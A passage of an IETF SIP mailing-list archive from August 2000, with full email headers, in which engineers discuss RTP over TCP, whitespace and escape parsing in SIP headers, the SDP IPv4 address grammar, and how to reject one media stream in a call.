lists.bell-labs.com (Postfix) with ESMTP id 4C80844338 for ; Thu, 17 Aug 2000 22:56:25 -0400 (EDT) Received: from dynamicsoft.com (1Cust234.tnt1.freehold.nj.da.uu.net [63.17.113.234]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id WAA05931; Thu, 17 Aug 2000 22:58:03 -0400 (EDT) Message-ID: <399CA73A.735A8C06@dynamicsoft.com> Date: Thu, 17 Aug 2000 23:02:18 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: David Yon Cc: "Fairlie-Cuninghame, Robert" , "'Christian Huitema'" , sip@lists.bell-labs.com Subject: Re: [SIP] SIP, SDP, and TCP-based media transport References: <4.3.2.7.2.20000817104314.00d969e0@webhost.tactical-sw.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit David Yon wrote: > > The nagging thought I have is: what does it mean to have a bidirectional > media flow over RTP/AVP-TCP? Is it simply that RTP media packets are sent > down one side of a single TCP connection and RTCP control packets are sent > back the other side? So then for a bidirectional flow you'd have two TCP > connections, one for each media direction? > > Sorry if this is a stupid question, but as you may have guessed I'm not an > RTP expert. I think it could work in several ways. You could have both directions of RTP over the same TCP connection, along with the RTCP, or over two connections. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 23:22:40 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA10311 for ; Thu, 17 Aug 2000 23:22:39 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E2F6A44360; Thu, 17 Aug 2000 23:22:19 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 7B8D244338 for ; Thu, 17 Aug 2000 23:22:16 -0400 (EDT) Received: from dynamicsoft.com (1Cust234.tnt1.freehold.nj.da.uu.net [63.17.113.234]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id XAA06012; Thu, 17 Aug 2000 23:20:07 -0400 (EDT) Message-ID: <399CAC66.59F5CAA3@dynamicsoft.com> Date: Thu, 17 Aug 2000 23:24:22 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Gethin Liddell Cc: archow@hss.hns.com, Richard Verhoeven , sip@lists.bell-labs.com Subject: Re: [SIP] whitespace in SIP & SDP References: <6525693E.004167D0.00@sampark.hss.hns.com> <00081713490600.32275@gethin> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Gethin Liddell wrote: > > On Thu, 17 Aug 2000, archow@hss.hns.com wrote: > > (On a related note: A few days ago, someone pointed out an interesting case > > of one line having a string without an ending quote, but slashed at the > > end, the next line having an LWS and then some text and then the > > terminating quote. - in which case I guess we cannot ignore the LWS > > like we usually do for continuation lines". Just thought I'd re-mention > > this interesting "torture" test wrt all our continuation line parsing > > routines > > we have in our implementations:-) ) > > Section C.1 (page 118 of bis-01) > > "SIP header field values can be folded onto multiple lines if the > continuation line begins with a space or horizontal tab. All linear > white space, including folding, has the same semantics as SP. A > recipient MAY replace any linear white space with a single SP before > interpreting the field value or forwarding the message downstream." > > whether it is in a quoted string or not i think is irrelevant. it > still MAY be interpreted as a single white space. I'm not sure here. The rules in SIP regarding implicit LWS apply only to between words (where words include tokens and quoted strings - the entire quoted string, that is) and separators, and between tokens. The space inside of a quoted string does not meet the definitions of implicit LWS. However, I think you also would need to escape the CR and/or LF that might appear, so that you can detect headers without parsing the headers themselves. -Jonathan R. > > -- > Gethin Liddell > Ubiquity Software Corporation > > http://www.ubiquity.net > mailto:gethin@ubiquity.net > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 23:24:42 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA10326 for ; Thu, 17 Aug 2000 23:24:42 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 150D644367; Thu, 17 Aug 2000 23:24:23 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id B3EEF44338 for ; Thu, 17 Aug 2000 23:24:20 -0400 (EDT) Received: from dynamicsoft.com (1Cust234.tnt1.freehold.nj.da.uu.net [63.17.113.234]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id XAA06031; Thu, 17 Aug 2000 23:25:48 -0400 (EDT) Message-ID: <399CADBB.1B1591DE@dynamicsoft.com> Date: Thu, 17 Aug 2000 23:30:03 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: manu@sasi.com Cc: sip@lists.bell-labs.com Subject: Re: [SIP] ipv4 addresses in SDP References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit manu@sasi.com wrote: > > Another query on SDP grammar: > > [If this isn't the right forum for SDP related questions, please let > me know.] It isn't. SDP queries belong on confctrl@isi.edu. > > Consider the following in rfc 2327: > ------------------------------------------------------------------------ > IP4-address = b1 "." decimal-uchar "." decimal-uchar "." b4 > > decimal-uchar = ("1" 2*(DIGIT)) > | ... > > DIGIT = "0" | POS-DIGIT > POS-DIGIT = "1"|"2"|"3"|"4"|"5"|"6"|"7"|"8"|"9" > ------------------------------------------------------------------------ > > Is there a mistake in the following production? > decimal-uchar = ("1" 2*(DIGIT)) > > I ask because there's a similar rule for IPv4 addresses in the > SIP-URL grammar (2543bis). > IPv4address = 1*3DIGIT"."1*3DIGIT"."1*3DIGIT"."1*3DIGIT > This rule unambiguously states that each token between the '.' > must not be more than 3 digits. > > But SDP's ("1" 2*(DIGIT)) rule seems to suggest any number beginning > with a "1" and having atleast 3 digits. The BNF is correct. You need to examine complete production for decimal-uchar: > decimal-uchar = DIGIT > | POS-DIGIT DIGIT > | ("1" 2*(DIGIT)) > | ("2" ("0"|"1"|"2"|"3"|"4") DIGIT) > | ("2" "5" ("0"|"1"|"2"|"3"|"4"|"5")) The production defines one of five rules; the first covers the numbers 0-9. The second covers 10 through 99. The thrid 100 through 199 (thus a 1 followed by two digits), the fourth 200 through 249, and the final, 250 through 255. Thus, the overall production for decimal-uchar allows any number from 0 to 255, which is correct. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 23:55:44 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA10970 for ; Thu, 17 Aug 2000 23:55:44 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 55FF54435D; Thu, 17 Aug 2000 23:55:37 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sasi.com (samar.sasi.com.56.164.164.in-addr.arpa [164.164.56.2]) by lists.bell-labs.com (Postfix) with ESMTP id 8176E44338 for ; Thu, 17 Aug 2000 23:55:31 -0400 (EDT) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id JAA25938 for ; Fri, 18 Aug 2000 09:27:02 +0530 (IST) From: manu@sasi.com Received: from pcg143.sasi.com ([10.0.64.143]) by sasi.com; Fri, 18 Aug 2000 09:27:00 +0000 (IST) Received: from localhost (manu@localhost) by pcg143.sasi.com (8.9.3/8.9.3) with ESMTP id JAA01256 for ; Fri, 18 Aug 2000 09:26:58 +0530 Date: Fri, 18 Aug 2000 09:26:58 +0530 (IST) To: sip@lists.bell-labs.com Subject: Re: [SIP] ipv4 addresses in SDP In-Reply-To: <399CADBB.1B1591DE@dynamicsoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com On Thu, 17 Aug 2000, Jonathan Rosenberg wrote: >SDP queries belong on confctrl@isi.edu. Thanks, I'll post it there. >The BNF is correct. You need to examine complete production for >decimal-uchar: > >> decimal-uchar = DIGIT >> | POS-DIGIT DIGIT >> | ("1" 2*(DIGIT)) >> | ("2" ("0"|"1"|"2"|"3"|"4") DIGIT) >> | ("2" "5" ("0"|"1"|"2"|"3"|"4"|"5")) > >The production defines one of five rules; the first covers the numbers >0-9. The second covers 10 through 99. >The thrid 100 through 199 (thus a 1 followed by two digits), Right, but the third production also allows 1000 through 1999, 10000 through 19999 ... That is, it doesn't restrict the length of decimal-uchar to three digits like the fourth & fifth productions do, does it? >the fourth 200 through 249, and the final, >250 through 255. >Thus, the overall production for decimal-uchar allows >any number from 0 to 255, which is correct. It seems to allow more than just 0 to 255, hence the query. Thanks. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 00:22:30 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA11202 for ; Fri, 18 Aug 2000 00:22:30 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2DD7344373; Fri, 18 Aug 2000 00:22:18 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hotmail.com (f29.law7.hotmail.com [216.33.237.29]) by lists.bell-labs.com (Postfix) with ESMTP id 99D0544338 for ; Fri, 18 Aug 2000 00:22:14 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 17 Aug 2000 21:22:12 -0700 Received: from 164.164.6.34 by lw7fd.law7.hotmail.msn.com with HTTP; Fri, 18 Aug 2000 GMT X-Originating-IP: [164.164.6.34] From: "rahul pande" To: sip@lists.bell-labs.com Date: Fri, 18 Aug 2000 04:22:12 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 18 Aug 2000 04:22:12.0685 (UTC) FILETIME=[E1D8F7D0:01C008CB] Subject: [SIP] A query on SIP call flow Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com hello all, I had a query regarding a call flow in SIP. The caller sends me a recvonly request for a unicast session which i want to reject, how do i reply to his request : The request which i have received is as follows : CALLER : INVITE.... .......... v=0 .......... m=audio 3241 rtp/avp 0 a=recvonly m=vedio 3245 rtp/avp 1 I want to reject his first media stream, can someone please tell me what will be the response. Thanking you all, rahul ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 01:26:34 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA14271 for ; Fri, 18 Aug 2000 01:26:34 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 49D2D4433C; Fri, 18 Aug 2000 01:26:23 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from wodc7mr3.ffx.ops.us.uu.net (wodc7mr3.ffx.ops.us.uu.net [192.48.96.19]) by lists.bell-labs.com (Postfix) with ESMTP id C791B44338 for ; Fri, 18 Aug 2000 01:26:19 -0400 (EDT) Received: from dynamicsoft.com by wodc7mr3.ffx.ops.us.uu.net with ESMTP (peer crosschecked as: 1Cust37.tnt2.freehold.nj.da.uu.net [63.17.114.37]) id QQjcsr16949; Fri, 18 Aug 2000 05:26:11 GMT Message-ID: <399CCA56.F0852420@dynamicsoft.com> Date: Fri, 18 Aug 2000 01:32:06 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: rahul pande Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Instant Messaging.... References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit You could do this kind of thing today with the text over RTP specification. Anyway, this is really a different service than IM. Namely: 1. its a streaming text service; data is sent character at a time rather than in groups of messages 2. IM can have store and forward services implemented with them; this is much harder if not impossible with a streaming text service. 3. streaming text requires explicit creation and termination of a session. Messagin, by its nature, can be done without such setup. I have some slides on this subject at: http://www.cs.columbia.edu/~jdrosen/papers/sipimpp_sip2k.ppt -Jonathan R. rahul pande wrote: > > hello, > I was wondering that once the TCP transport port is registered under > IANA will we still require the MESSAGE header(presently in the drafts stage) > since a line such as : > m=text tcp plain > with other a= attributes proposed for tcp will solve the problem for > instant messaging. > Thanking you all, > rahul > ________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 04:30:47 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA25160 for ; Fri, 18 Aug 2000 04:30:46 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 81A4844343; Fri, 18 Aug 2000 04:30:04 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by lists.bell-labs.com (Postfix) with ESMTP id DE24444339 for ; Fri, 18 Aug 2000 04:30:00 -0400 (EDT) Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id e7I8Txp18415; Fri, 18 Aug 2000 10:29:59 +0200 (MEST) Received: from ericsson.fi (E0080C7FA22D6.lmf.ericsson.se [131.160.30.48]) by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id LAA03440; Fri, 18 Aug 2000 11:29:58 +0300 (EET DST) Message-ID: <399CF3B2.4E6E1A51@ericsson.fi> Date: Fri, 18 Aug 2000 11:28:35 +0300 From: Hisham Khartabil X-Mailer: Mozilla 4.61 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: rahul pande Cc: sip@lists.bell-labs.com Subject: Re: [SIP] A query on SIP call flow References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit I would suggest 403 Forbidden response (server understands the request but refuses to fulfill it), or 415 Unsupported Media type. I would go for 403. Regards, Hisham rahul pande wrote: > hello all, > I had a query regarding a call flow in SIP. The caller sends me a recvonly > request for a unicast session which i want to reject, how do i reply to his > request : > The request which i have received is as follows : > > CALLER : > INVITE.... > .......... > > v=0 > .......... > m=audio 3241 rtp/avp 0 > a=recvonly > m=vedio 3245 rtp/avp 1 > > I want to reject his first media stream, can someone please tell me what > will be the response. > > Thanking you all, > rahul > ________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 04:44:25 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA25268 for ; Fri, 18 Aug 2000 04:44:25 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8F84644359; Fri, 18 Aug 2000 04:44:12 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from wsinwp07.win.tue.nl (wsinwp07.win.tue.nl [131.155.69.171]) by lists.bell-labs.com (Postfix) with ESMTP id 168ED44339 for ; Fri, 18 Aug 2000 04:44:09 -0400 (EDT) Received: from river@localhost by wsinwp07.win.tue.nl (8.9.3) id KAA07562. Fri, 18 Aug 2000 10:43:50 +0200 (MET DST) From: river@win.tue.nl (Richard Verhoeven) Message-Id: <200008180843.KAA07562@wsinwp07.win.tue.nl> Subject: Re: [SIP] whitespace in SIP & SDP In-Reply-To: <399CAC66.59F5CAA3@dynamicsoft.com> from Jonathan Rosenberg at "Aug 17, 2000 11:24:22 pm" To: jdrosen@dynamicsoft.com (Jonathan Rosenberg) Date: Fri, 18 Aug 2000 10:43:50 +0200 (MET DST) Cc: gethin@ubiquity.net, archow@hss.hns.com, river@win.tue.nl, sip@lists.bell-labs.com X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > Gethin Liddell wrote: > > > > On Thu, 17 Aug 2000, archow@hss.hns.com wrote: > > > (On a related note: A few days ago, someone pointed out an interesting case > > > of one line having a string without an ending quote, but slashed at the > > > end, the next line having an LWS and then some text and then the > > > terminating quote. - in which case I guess we cannot ignore the LWS > > > like we usually do for continuation lines". Just thought I'd re-mention > > > this interesting "torture" test wrt all our continuation line parsing > > > routines > > > we have in our implementations:-) ) > > > > Section C.1 (page 118 of bis-01) > > > > "SIP header field values can be folded onto multiple lines if the > > continuation line begins with a space or horizontal tab. All linear > > white space, including folding, has the same semantics as SP. A > > recipient MAY replace any linear white space with a single SP before > > interpreting the field value or forwarding the message downstream." > > > > whether it is in a quoted string or not i think is irrelevant. it > > still MAY be interpreted as a single white space. > > I'm not sure here. The rules in SIP regarding implicit LWS apply only to > between words (where words include tokens and quoted strings - the > entire quoted string, that is) and separators, and between tokens. The > space inside of a quoted string does not meet the definitions of > implicit LWS. > > However, I think you also would need to escape the CR and/or LF that > might appear, so that you can detect headers without parsing the headers > themselves. I'm not sure what you mean by this. It seems that allowing an escaped [CR] or [LF] in a string will lead to problems. For example, how do you interpret the next lines: X-Organization: "A conspiracy organisation \[LF] X-From: "Some alien \[LF] From: outer space" [LF] Within a string, the backslash works as an escape, so the [LF] is not interpreted as a end of line and the next line is part of a continued line, eventhough it doesn't start with whitespace (if I interpret the ABNF grammar for quoted strings correctly). However, you can't determine whether the backslash is part of a string or not, especially when extension fields are used. In the above example, the X-Organization field is followed by an UTF8-Text, so double-quotes and backslashes are not interpreted. The X-From field contains a string, so the backslash should be interpreted and the next line (starting with "From: ") is part of string. However, a parser will be unable to determine whether a quoted-string or UTF8-text is used, so it has to handle both cases similarly. Therefore, the statement in Section C.1 (page 118 of bis-01), as quoted above, should be stronger and state that the ONLY way to continue a line is indenting the next line. The backslash at the end of a line should be regarded as an error if it appears within a quoted string, which can be achieved by changing the definition of quoted-pair to something link: qouted-pair = "\" Best regards, Richard Verhoeven EESI, Eindhoven _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 05:02:27 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA25423 for ; Fri, 18 Aug 2000 05:02:26 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7DFA644360; Fri, 18 Aug 2000 05:02:15 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 1B53C44339 for ; Fri, 18 Aug 2000 05:02:11 -0400 (EDT) Received: from gethin by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id JAA18129; Fri, 18 Aug 2000 09:59:19 +0100 (BST) From: Gethin Liddell Organization: Ubiquity Software Corp. To: Jonathan Rosenberg Subject: Re: [SIP] whitespace in SIP & SDP Date: Fri, 18 Aug 2000 09:29:47 +0100 X-Mailer: KMail [version 1.0.29.2] Content-Type: text/plain Cc: archow@hss.hns.com, Richard Verhoeven , sip@lists.bell-labs.com References: <6525693E.004167D0.00@sampark.hss.hns.com> <00081713490600.32275@gethin> <399CAC66.59F5CAA3@dynamicsoft.com> In-Reply-To: <399CAC66.59F5CAA3@dynamicsoft.com> MIME-Version: 1.0 Message-Id: <00081809530006.00501@gethin> Content-Transfer-Encoding: 8bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit For SIP to be efficient and quick, as i'm sure you'll agree it must be, it MUST be possible to parse in a message with out having to parse each individual header. Ignoring the \CR and \LF, it is possible to get the structure of the messages and the headers split up by looking for the combination of CR, LF and white space indentation. great, this can be done quickly by simple byte-by-byte comparison. This all goes out the window however when we allow, or expect, that in `special cases' a `\' at the end of the line actually marks another form of continuation. for example, parsing the fast, efficient, lazy way, the header: Waring: 307 foo "some info \ some more info" Will be parsed as 2 headers, with the second header being very wrong and breaking everything. If we want this to be parsed properly, then from the very begining we have to parse the header and understand it. So what if we don't understand it? eg. foo: foodata "\ To: sip:a@b how do we parse this? we know nothing about the header. is it a quoted string, or does it just happen that the " is present? this is impossible to parse. I think the BNF in Section C.1 (page 119 bis-01) is wrong where it says: quoted-pair = "\"CHAR perhaps it should be: quoted-pair = "\" (0x00-09 | 0x0B-0C | 0x0E-0x7F) i.e. remove CR and LF from the quoted pair. or should we go further and remove all control characters: quoted-pair = "\" (0x20 - 0x7E | 0x09) (including SP and TAB) thoughts? -- Gethin Liddell Ubiquity Software Corporation http://www.ubiquity.net mailto:gethin@ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 05:14:31 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA25510 for ; Fri, 18 Aug 2000 05:14:31 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 77D1244371; Fri, 18 Aug 2000 05:14:16 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hotmail.com (f238.law7.hotmail.com [216.33.237.238]) by lists.bell-labs.com (Postfix) with ESMTP id 3D3FD44339 for ; Fri, 18 Aug 2000 05:14:13 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 18 Aug 2000 02:14:12 -0700 Received: from 164.164.6.34 by lw7fd.law7.hotmail.msn.com with HTTP; Fri, 18 Aug 2000 GMT X-Originating-IP: [164.164.6.34] From: "rahul pande" To: hisham.khartabil@lmf.ericsson.se, panderahul@hotmail.com Cc: sip@lists.bell-labs.com Subject: Re: [SIP] A query on SIP call flow Date: Fri, 18 Aug 2000 09:14:12 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 18 Aug 2000 09:14:12.0706 (UTC) FILETIME=[AC980420:01C008F4] Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com >rahul pande wrote: > > > hello all, > > I had a query regarding a call flow in SIP. The caller sends me a >recvonly > > request for a unicast session which i want to reject, how do i reply to >his > > request : > > The request which i have received is as follows : > > > > CALLER : > > INVITE.... > > .......... > > > > v=0 > > .......... > > m=audio 3241 rtp/avp 0 > > a=recvonly > > m=vedio 3245 rtp/avp 1 > > > > I want to reject his first media stream, can someone please tell me what > > will be the response. > > > > Thanking you all, > > rahul > > _ Hishab wrote: > >I would suggest 403 Forbidden response (server understands the request but >refuses to fulfill it), or 415 Unsupported Media type. I would go for 403. > >Regards, >Hisham Hi, I don't want to reject the whole message but only the first media stream, I'm still accepting the second media stream. regards, rahul _______________________________________________________________________ > > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 05:28:56 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA25659 for ; Fri, 18 Aug 2000 05:28:56 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 37B784433E; Fri, 18 Aug 2000 05:28:42 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by lists.bell-labs.com (Postfix) with ESMTP id C327644339 for ; Fri, 18 Aug 2000 05:28:38 -0400 (EDT) Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id e7I9Sbp18427; Fri, 18 Aug 2000 11:28:37 +0200 (MEST) Received: from ericsson.fi (E0080C7FA22D6.lmf.ericsson.se [131.160.30.48]) by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id MAA07307; Fri, 18 Aug 2000 12:28:37 +0300 (EET DST) Message-ID: <399D0171.74BDD9C2@ericsson.fi> Date: Fri, 18 Aug 2000 12:27:13 +0300 From: Hisham Khartabil X-Mailer: Mozilla 4.61 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: rahul pande Cc: 